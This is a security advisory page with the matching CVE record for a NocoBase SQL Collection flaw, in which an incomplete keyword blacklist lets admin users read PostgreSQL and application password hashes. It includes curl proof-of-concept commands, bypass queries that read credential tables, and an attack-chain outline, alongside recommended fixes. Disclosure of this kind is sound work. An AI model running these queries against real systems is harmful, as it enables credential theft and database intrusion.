GHSA-V8VM-CQH8-Q87Q

Vulnerability from github – Published: 2026-07-28 20:53 – Updated: 2026-07-28 20:53

Summary

NocoBase: Sensitive Data Exposure via SQL Blacklist Bypass

Details

Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass

Summary

The checkSQL() function in plugin-collection-sql implements a keyword-based blacklist to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is incomplete: it only checks for a subset of dangerous PostgreSQL system functions and does not restrict access to sensitive system catalog tables such as pg_shadow, pg_roles, or pg_stat_activity.

An authenticated user with the admin role can exploit this to dump PostgreSQL password hashes (pg_shadow), read all NocoBase user credentials (hashed passwords from the users table), and enumerate the full database schema — all data that admin users should never be able to access through the application interface.

Affected Component

File: packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts

export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    // PostgreSQL — BLOCKED
    'pg_read_file',
    'pg_read_binary_file',
    'pg_stat_file',
    'pg_ls_dir',
    'pg_logdir_ls',
    'pg_terminate_backend',
    'pg_cancel_backend',
    'current_setting',
    'set_config',
    'pg_reload_conf',
    'pg_sleep',
    'generate_series',

    // MySQL — BLOCKED
    'LOAD_FILE',
    'BENCHMARK',
    '@@global.',
    '@@session.',

    // SQLite — BLOCKED
    'sqlite3_load_extension',
    'load_extension',
  ];

  // NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity,
  //                 information_schema, users table direct access, etc.

  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};

The execute action in sql.ts passes user-supplied SQL directly through this insufficient check:

// sql.ts — execute action
execute: async (ctx: Context, next: Next) => {
  const { sql } = ctx.action.params.values || {};
  try {
    checkSQL(sql);         // ← insufficient validation
  } catch (e) {
    ctx.throw(400, ctx.t(e.message));
  }
  // SQL is executed directly against the database
  const data = await model.findAll({ attributes: ['*'], limit: 5, raw: true });
  ctx.body = { data, fields, sources };
}

Root Cause

The blacklist approach is fundamentally incomplete. It attempts to enumerate every dangerous construct but misses entire categories:

PostgreSQL system catalog tables — pg_shadow, pg_authid, pg_roles, pg_stat_activity are not restricted
Application-level sensitive tables — users (containing hashed passwords) can be queried directly
information_schema — full schema enumeration is possible
Schema-qualified variants — even some blocked functions could be bypassed via pg_catalog. prefix (e.g. pg_catalog.pg_read_file may bypass checks in older versions)

The correct approach is an allowlist (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords.

Steps to Reproduce

Prerequisites: A user account with the admin role (has the pm.data-source-manager.collection-sql ACL snippet).

Step 1: Authenticate and obtain a token:

TOKEN=$(curl -s -X POST http://<TARGET>/api/auth:signIn \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"<password>"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])")

Step 2: Dump PostgreSQL password hashes from pg_shadow:

curl -s -X POST http://<TARGET>/api/sqlCollection:execute \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"sql":"SELECT usename, passwd FROM pg_shadow LIMIT 10"}'

Response:

{
  "data": {
    "data": [
      {
        "usename": "nocobase",
        "passwd": "SCRAM-SHA-256$4096:wmmGvfjPHRDsnzjOfHCmUQ==$fAXKBU7y3Ymmgg0iq6ibc66fN+v3Q7FaX86RgxP0tTY=:enn2dRiXhUQ2N5o4bRtZLNB3B8FpAdKC8Cp3HZ/hSFU="
      }
    ]
  }
}

Step 3: Dump NocoBase user credentials:

curl -s -X POST http://<TARGET>/api/sqlCollection:execute \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"sql":"SELECT id, email, username, password FROM users LIMIT 100"}'

Response (verified):

{
  "data": {
    "data": [
      {
        "id": 1,
        "email": "admin@nocobase.com",
        "username": "nocobase",
        "password": "1afc4721f320c4e097ac4aaca33544e7dadcc8cd7d57d40240f987bdbcbc686b"
      }
    ]
  }
}

Additional Verified Bypass Queries

Query	Blocked?	Data Exposed
`SELECT usename, passwd FROM pg_shadow`	Not blocked	PostgreSQL DB user password hashes
`SELECT id, email, password FROM users`	Not blocked	All NocoBase user credential hashes
`SELECT table_name FROM information_schema.tables`	Not blocked	Full database schema enumeration
`SELECT rolname, rolsuper FROM pg_roles`	Not blocked	All DB roles and superuser flags
`SELECT pid, query FROM pg_stat_activity`	Not blocked	Live SQL queries from all sessions
`SELECT pg_read_file('/etc/passwd')`	Blocked	—
`SELECT current_setting('app.key')`	Blocked	—

Why Admin-Required Still Matters

This vulnerability is rated High despite requiring admin-level authentication. The reasoning:

1. Security Boundary Violation (Scope Changed → S:C)

The admin role in NocoBase is an application-level role — it manages workflows, collections, and UI. It is not a database administrator. Accessing pg_shadow is a PostgreSQL system-level privilege that admins should never have. The checkSQL() function was explicitly created to enforce this boundary; bypassing it breaks the intended security model.

2. Data That Admin Cannot Access Through Normal UI

Even with admin privileges, NocoBase's UI and API do not expose: - pg_shadow (PostgreSQL internal password store) - Raw users.password hashes via standard API responses - Full information_schema enumeration

VUL-2 grants access to all of the above — data the application explicitly chose not to expose.

3. Enables Lateral Movement

The pg_shadow SCRAM-SHA-256 hashes can be subjected to offline dictionary attacks. If cracked, the attacker gains direct PostgreSQL access with the application's DB credentials — bypassing the NocoBase application layer entirely. This enables reading all data in the database (not just what NocoBase exposes), modifying records directly, and accessing data from other schemas.

4. Enables Full Attack Chain When Combined with Other Vulnerabilities

Member user (lowest privilege)
  → VUL-8: Trigger a pre-built RCE workflow (any logged-in user can trigger)
  → VUL-1: RCE reads APP_KEY from process.env
  → Forge JWT with admin role
  → VUL-2: Dump pg_shadow + users.password
  → Crack hashes → full PostgreSQL access

Impacted API Endpoint

POST /api/sqlCollection:execute

Authentication: Required (admin role)
ACL Snippet registered in plugin.ts: typescript this.app.acl.registerSnippet({ name: `pm.data-source-manager.collection-sql`, actions: ['sqlCollection:*'], // includes :execute });
The admin role includes this snippet by default.

Recommended Fixes

Fix 1 (Immediate): Extend the blacklist with system catalog tables

const dangerKeywords = [
  // ... existing entries ...

  // ADD: PostgreSQL system catalog tables with sensitive data
  'pg_shadow',
  'pg_authid',
  'pg_auth_members',
  'pg_stat_activity',
  'pg_roles',
  // Note: information_schema should also be restricted for non-DBA roles
];

Fix 2 (Recommended): Replace blacklist with schema allowlist

Instead of blocking dangerous keywords, only allow queries against user-defined collection tables:

// Allowlist approach: extract table names from AST and verify against known collections
const allowedTables = await db.getCollectionNames(); // tables created by NocoBase users
const referencedTables = extractTableNames(parsedSQL);
if (!referencedTables.every(t => allowedTables.includes(t))) {
  throw new Error('Query references tables outside the allowed scope');
}

Fix 3 (Defense-in-depth): Use a read-only, restricted DB user

The application's DB connection should use a PostgreSQL user that: - Does not have SELECT privilege on pg_shadow or pg_authid - Only has access to the application's own schema (nocobase schema)

This ensures that even if the blacklist is bypassed, the DB user cannot access system catalogs.

Environment

Field	Value
NocoBase version	2.0.59-full
Database	PostgreSQL 16.14
Deployment	Docker (`nocobase/nocobase:2.0.59-full`)
Vulnerable file	`plugin-collection-sql/src/server/utils.ts` — `checkSQL()`
Vulnerable endpoint	`POST /api/sqlCollection:execute`
Auth required	Admin role (`pm.data-source-manager.collection-sql` snippet)

Timeline

Date	Event
2026-05-29	Vulnerability discovered via whitebox source code audit of `utils.ts`
2026-05-29	Exploit verified on live Docker instance — `pg_shadow` and `users.password` dumped
2026-05-29	Report submitted to maintainers

Script and video PoC:

poc_vul2_sqli.py

https://github.com/user-attachments/assets/6e4e7a3d-e005-4ff8-ab9a-e44ae1365732

Severity

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-collection-sql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.62"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-collection-sql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0-alpha.1"
            },
            {
              "fixed": "2.1.0-alpha.46"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-collection-sql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0-beta.1"
            },
            {
              "fixed": "2.1.0-beta.45"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52888"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T20:53:08Z",
    "nvd_published_at": "2026-07-15T21:16:54Z",
    "severity": "MODERATE"
  },
  "details": "# Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass\n\n## Summary\n\nThe `checkSQL()` function in `plugin-collection-sql` implements a **keyword-based blacklist** to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is **incomplete**: it only checks for a subset of dangerous PostgreSQL system functions and **does not restrict access to sensitive system catalog tables** such as `pg_shadow`, `pg_roles`, or `pg_stat_activity`.\n\nAn authenticated user with the `admin` role can exploit this to **dump PostgreSQL password hashes** (`pg_shadow`), **read all NocoBase user credentials** (hashed passwords from the `users` table), and **enumerate the full database schema** \u2014 all data that admin users should never be able to access through the application interface.\n\n---\n\n## Affected Component\n\n**File**: `packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts`\n\n```typescript\nexport const checkSQL = (sql: string) =\u003e {\n  const dangerKeywords = [\n    // PostgreSQL \u2014 BLOCKED\n    \u0027pg_read_file\u0027,\n    \u0027pg_read_binary_file\u0027,\n    \u0027pg_stat_file\u0027,\n    \u0027pg_ls_dir\u0027,\n    \u0027pg_logdir_ls\u0027,\n    \u0027pg_terminate_backend\u0027,\n    \u0027pg_cancel_backend\u0027,\n    \u0027current_setting\u0027,\n    \u0027set_config\u0027,\n    \u0027pg_reload_conf\u0027,\n    \u0027pg_sleep\u0027,\n    \u0027generate_series\u0027,\n\n    // MySQL \u2014 BLOCKED\n    \u0027LOAD_FILE\u0027,\n    \u0027BENCHMARK\u0027,\n    \u0027@@global.\u0027,\n    \u0027@@session.\u0027,\n\n    // SQLite \u2014 BLOCKED\n    \u0027sqlite3_load_extension\u0027,\n    \u0027load_extension\u0027,\n  ];\n\n  // NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity,\n  //                 information_schema, users table direct access, etc.\n\n  sql = sql.trim().split(\u0027;\u0027).shift();\n  if (!/^select/i.test(sql) \u0026\u0026 !/^with([\\s\\S]+)select([\\s\\S]+)/i.test(sql)) {\n    throw new Error(\u0027Only supports SELECT statements or WITH clauses\u0027);\n  }\n  if (dangerKeywords.some((keyword) =\u003e sql.toLowerCase().includes(keyword.toLowerCase()))) {\n    throw new Error(\u0027SQL statements contain dangerous keywords\u0027);\n  }\n};\n```\n\nThe `execute` action in `sql.ts` passes user-supplied SQL directly through this insufficient check:\n\n```typescript\n// sql.ts \u2014 execute action\nexecute: async (ctx: Context, next: Next) =\u003e {\n  const { sql } = ctx.action.params.values || {};\n  try {\n    checkSQL(sql);         // \u2190 insufficient validation\n  } catch (e) {\n    ctx.throw(400, ctx.t(e.message));\n  }\n  // SQL is executed directly against the database\n  const data = await model.findAll({ attributes: [\u0027*\u0027], limit: 5, raw: true });\n  ctx.body = { data, fields, sources };\n}\n```\n\n---\n\n## Root Cause\n\nThe blacklist approach is **fundamentally incomplete**. It attempts to enumerate every dangerous construct but misses entire categories:\n\n1. **PostgreSQL system catalog tables** \u2014 `pg_shadow`, `pg_authid`, `pg_roles`, `pg_stat_activity` are not restricted\n2. **Application-level sensitive tables** \u2014 `users` (containing hashed passwords) can be queried directly\n3. **`information_schema`** \u2014 full schema enumeration is possible\n4. **Schema-qualified variants** \u2014 even some blocked functions could be bypassed via `pg_catalog.` prefix (e.g. `pg_catalog.pg_read_file` may bypass checks in older versions)\n\nThe correct approach is an **allowlist** (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords.\n\n---\n\n## Steps to Reproduce\n\n**Prerequisites**: A user account with the `admin` role (has the `pm.data-source-manager.collection-sql` ACL snippet).\n\n**Step 1**: Authenticate and obtain a token:\n```bash\nTOKEN=$(curl -s -X POST http://\u003cTARGET\u003e/api/auth:signIn \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"admin@example.com\",\"password\":\"\u003cpassword\u003e\"}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027data\u0027][\u0027token\u0027])\")\n```\n\n**Step 2**: Dump PostgreSQL password hashes from `pg_shadow`:\n```bash\ncurl -s -X POST http://\u003cTARGET\u003e/api/sqlCollection:execute \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027{\"sql\":\"SELECT usename, passwd FROM pg_shadow LIMIT 10\"}\u0027\n```\n\n**Response**:\n```json\n{\n  \"data\": {\n    \"data\": [\n      {\n        \"usename\": \"nocobase\",\n        \"passwd\": \"SCRAM-SHA-256$4096:wmmGvfjPHRDsnzjOfHCmUQ==$fAXKBU7y3Ymmgg0iq6ibc66fN+v3Q7FaX86RgxP0tTY=:enn2dRiXhUQ2N5o4bRtZLNB3B8FpAdKC8Cp3HZ/hSFU=\"\n      }\n    ]\n  }\n}\n```\n\n**Step 3**: Dump NocoBase user credentials:\n```bash\ncurl -s -X POST http://\u003cTARGET\u003e/api/sqlCollection:execute \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027{\"sql\":\"SELECT id, email, username, password FROM users LIMIT 100\"}\u0027\n```\n\n**Response** (verified):\n```json\n{\n  \"data\": {\n    \"data\": [\n      {\n        \"id\": 1,\n        \"email\": \"admin@nocobase.com\",\n        \"username\": \"nocobase\",\n        \"password\": \"1afc4721f320c4e097ac4aaca33544e7dadcc8cd7d57d40240f987bdbcbc686b\"\n      }\n    ]\n  }\n}\n```\n\n---\n\n## Additional Verified Bypass Queries\n\n| Query | Blocked? | Data Exposed |\n|-------|----------|--------------|\n| `SELECT usename, passwd FROM pg_shadow` |**Not blocked** | PostgreSQL DB user password hashes |\n| `SELECT id, email, password FROM users` |**Not blocked** | All NocoBase user credential hashes |\n| `SELECT table_name FROM information_schema.tables` |**Not blocked** | Full database schema enumeration |\n| `SELECT rolname, rolsuper FROM pg_roles` |**Not blocked** | All DB roles and superuser flags |\n| `SELECT pid, query FROM pg_stat_activity` |**Not blocked** | Live SQL queries from all sessions |\n| `SELECT pg_read_file(\u0027/etc/passwd\u0027)` |Blocked | \u2014 |\n| `SELECT current_setting(\u0027app.key\u0027)` |Blocked | \u2014 |\n\n---\n\n## Why Admin-Required Still Matters\n\nThis vulnerability is rated **High** despite requiring admin-level authentication. The reasoning:\n\n### 1. Security Boundary Violation (Scope Changed \u2192 S:C)\nThe `admin` role in NocoBase is an **application-level** role \u2014 it manages workflows, collections, and UI. It is **not** a database administrator. Accessing `pg_shadow` is a **PostgreSQL system-level** privilege that admins should never have. The `checkSQL()` function was explicitly created to enforce this boundary; bypassing it breaks the intended security model.\n\n### 2. Data That Admin Cannot Access Through Normal UI\nEven with admin privileges, NocoBase\u0027s UI and API **do not expose**:\n- `pg_shadow` (PostgreSQL internal password store)\n- Raw `users.password` hashes via standard API responses\n- Full `information_schema` enumeration\n\nVUL-2 grants access to all of the above \u2014 data the application explicitly chose not to expose.\n\n### 3. Enables Lateral Movement\nThe `pg_shadow` SCRAM-SHA-256 hashes can be subjected to offline dictionary attacks. If cracked, the attacker gains **direct PostgreSQL access** with the application\u0027s DB credentials \u2014 bypassing the NocoBase application layer entirely. This enables reading **all data** in the database (not just what NocoBase exposes), modifying records directly, and accessing data from other schemas.\n\n### 4. Enables Full Attack Chain When Combined with Other Vulnerabilities\n```\nMember user (lowest privilege)\n  \u2192 VUL-8: Trigger a pre-built RCE workflow (any logged-in user can trigger)\n  \u2192 VUL-1: RCE reads APP_KEY from process.env\n  \u2192 Forge JWT with admin role\n  \u2192 VUL-2: Dump pg_shadow + users.password\n  \u2192 Crack hashes \u2192 full PostgreSQL access\n```\n\n---\n\n## Impacted API Endpoint\n\n```\nPOST /api/sqlCollection:execute\n```\n\n- **Authentication**: Required (`admin` role)\n- **ACL Snippet** registered in `plugin.ts`:\n  ```typescript\n  this.app.acl.registerSnippet({\n    name: `pm.data-source-manager.collection-sql`,\n    actions: [\u0027sqlCollection:*\u0027],   // includes :execute\n  });\n  ```\n- The `admin` role includes this snippet by default.\n\n---\n\n## Recommended Fixes\n\n### Fix 1 (Immediate): Extend the blacklist with system catalog tables\n```typescript\nconst dangerKeywords = [\n  // ... existing entries ...\n\n  // ADD: PostgreSQL system catalog tables with sensitive data\n  \u0027pg_shadow\u0027,\n  \u0027pg_authid\u0027,\n  \u0027pg_auth_members\u0027,\n  \u0027pg_stat_activity\u0027,\n  \u0027pg_roles\u0027,\n  // Note: information_schema should also be restricted for non-DBA roles\n];\n```\n\n### Fix 2 (Recommended): Replace blacklist with schema allowlist\nInstead of blocking dangerous keywords, only allow queries against **user-defined collection tables**:\n\n```typescript\n// Allowlist approach: extract table names from AST and verify against known collections\nconst allowedTables = await db.getCollectionNames(); // tables created by NocoBase users\nconst referencedTables = extractTableNames(parsedSQL);\nif (!referencedTables.every(t =\u003e allowedTables.includes(t))) {\n  throw new Error(\u0027Query references tables outside the allowed scope\u0027);\n}\n```\n\n### Fix 3 (Defense-in-depth): Use a read-only, restricted DB user\nThe application\u0027s DB connection should use a PostgreSQL user that:\n- Does **not** have `SELECT` privilege on `pg_shadow` or `pg_authid`\n- Only has access to the application\u0027s own schema (`nocobase` schema)\n\nThis ensures that even if the blacklist is bypassed, the DB user cannot access system catalogs.\n\n---\n\n## Environment\n\n| Field | Value |\n|-------|-------|\n| NocoBase version | 2.0.59-full |\n| Database | PostgreSQL 16.14 |\n| Deployment | Docker (`nocobase/nocobase:2.0.59-full`) |\n| Vulnerable file | `plugin-collection-sql/src/server/utils.ts` \u2014 `checkSQL()` |\n| Vulnerable endpoint | `POST /api/sqlCollection:execute` |\n| Auth required | Admin role (`pm.data-source-manager.collection-sql` snippet) |\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-05-29 | Vulnerability discovered via whitebox source code audit of `utils.ts` |\n| 2026-05-29 | Exploit verified on live Docker instance \u2014 `pg_shadow` and `users.password` dumped |\n| 2026-05-29 | Report submitted to maintainers |\n\n---\n## Script and video PoC:\n[poc_vul2_sqli.py](https://github.com/user-attachments/files/28380402/poc_vul2_sqli.py)\n\nhttps://github.com/user-attachments/assets/6e4e7a3d-e005-4ff8-ab9a-e44ae1365732",
  "id": "GHSA-v8vm-cqh8-q87q",
  "modified": "2026-07-28T20:53:09Z",
  "published": "2026-07-28T20:53:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-v8vm-cqh8-q87q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52888"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/4aecb60d151a9002004dcf984f63d62f17a6cb45"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/87c548969ce9258dd7f0d9571c9453ae10bc3fc4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocobase/nocobase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.62"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.1.0-alpha.46"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NocoBase: Sensitive Data Exposure via SQL Blacklist Bypass"
}

CVE-2026-52888 (GCVE-0-2026-52888)

Vulnerability from cvelistv5 – Published: 2026-07-15 20:13 – Updated: 2026-07-16 15:12

Title

NocoBase: Sensitive Data Exposure via SQL Blacklist Bypass

Summary

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. In 2.0.59 and earlier, NocoBase @nocobase/plugin-collection-sql used the checkSQL() function in packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts with an incomplete keyword blacklist that did not restrict PostgreSQL system catalog tables such as pg_shadow, pg_roles, and pg_stat_activity, allowing an admin-role user to read password hashes and database metadata through the SQL Collection feature. This vulnerability is fixed in 2.1.0-alpha.46.

Severity

6.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-184 - Incomplete List of Disallowed Inputs
CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor

Assigner

GitHub_M

References

3 references

URL	Tags
https://github.com/nocobase/nocobase/security/adv…	x_refsource_CONFIRM
https://github.com/nocobase/nocobase/commit/87c54…	x_refsource_MISC
https://github.com/nocobase/nocobase/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
nocobase	nocobase	Affected: < 2.1.0-alpha.46

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-52888",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-16T14:50:08.427743Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-16T15:12:38.696Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-v8vm-cqh8-q87q"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "nocobase",
          "vendor": "nocobase",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.1.0-alpha.46"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. In 2.0.59 and earlier, NocoBase @nocobase/plugin-collection-sql used the checkSQL() function in packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts with an incomplete keyword blacklist that did not restrict PostgreSQL system catalog tables such as pg_shadow, pg_roles, and pg_stat_activity, allowing an admin-role user to read password hashes and database metadata through the SQL Collection feature. This vulnerability is fixed in 2.1.0-alpha.46."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.8,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "HIGH",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-184",
              "description": "CWE-184: Incomplete List of Disallowed Inputs",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-15T20:13:52.669Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/nocobase/nocobase/security/advisories/GHSA-v8vm-cqh8-q87q",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-v8vm-cqh8-q87q"
        },
        {
          "name": "https://github.com/nocobase/nocobase/commit/87c548969ce9258dd7f0d9571c9453ae10bc3fc4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nocobase/nocobase/commit/87c548969ce9258dd7f0d9571c9453ae10bc3fc4"
        },
        {
          "name": "https://github.com/nocobase/nocobase/releases/tag/v2.1.0-alpha.46",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/nocobase/nocobase/releases/tag/v2.1.0-alpha.46"
        }
      ],
      "source": {
        "advisory": "GHSA-v8vm-cqh8-q87q",
        "discovery": "UNKNOWN"
      },
      "title": "NocoBase: Sensitive Data Exposure via SQL Blacklist Bypass"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-52888",
    "datePublished": "2026-07-15T20:13:52.669Z",
    "dateReserved": "2026-06-08T21:44:27.365Z",
    "dateUpdated": "2026-07-16T15:12:38.696Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

GHSA-V8VM-CQH8-Q87Q

Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass

Summary

Affected Component

Root Cause

Steps to Reproduce

Additional Verified Bypass Queries

Why Admin-Required Still Matters

1. Security Boundary Violation (Scope Changed → S:C)

2. Data That Admin Cannot Access Through Normal UI

3. Enables Lateral Movement

4. Enables Full Attack Chain When Combined with Other Vulnerabilities

Impacted API Endpoint

Recommended Fixes

Fix 1 (Immediate): Extend the blacklist with system catalog tables

Fix 2 (Recommended): Replace blacklist with schema allowlist

Fix 3 (Defense-in-depth): Use a read-only, restricted DB user

Environment

Timeline

Script and video PoC:

CVE-2026-52888 (GCVE-0-2026-52888)

Tags

Sightings

Nomenclature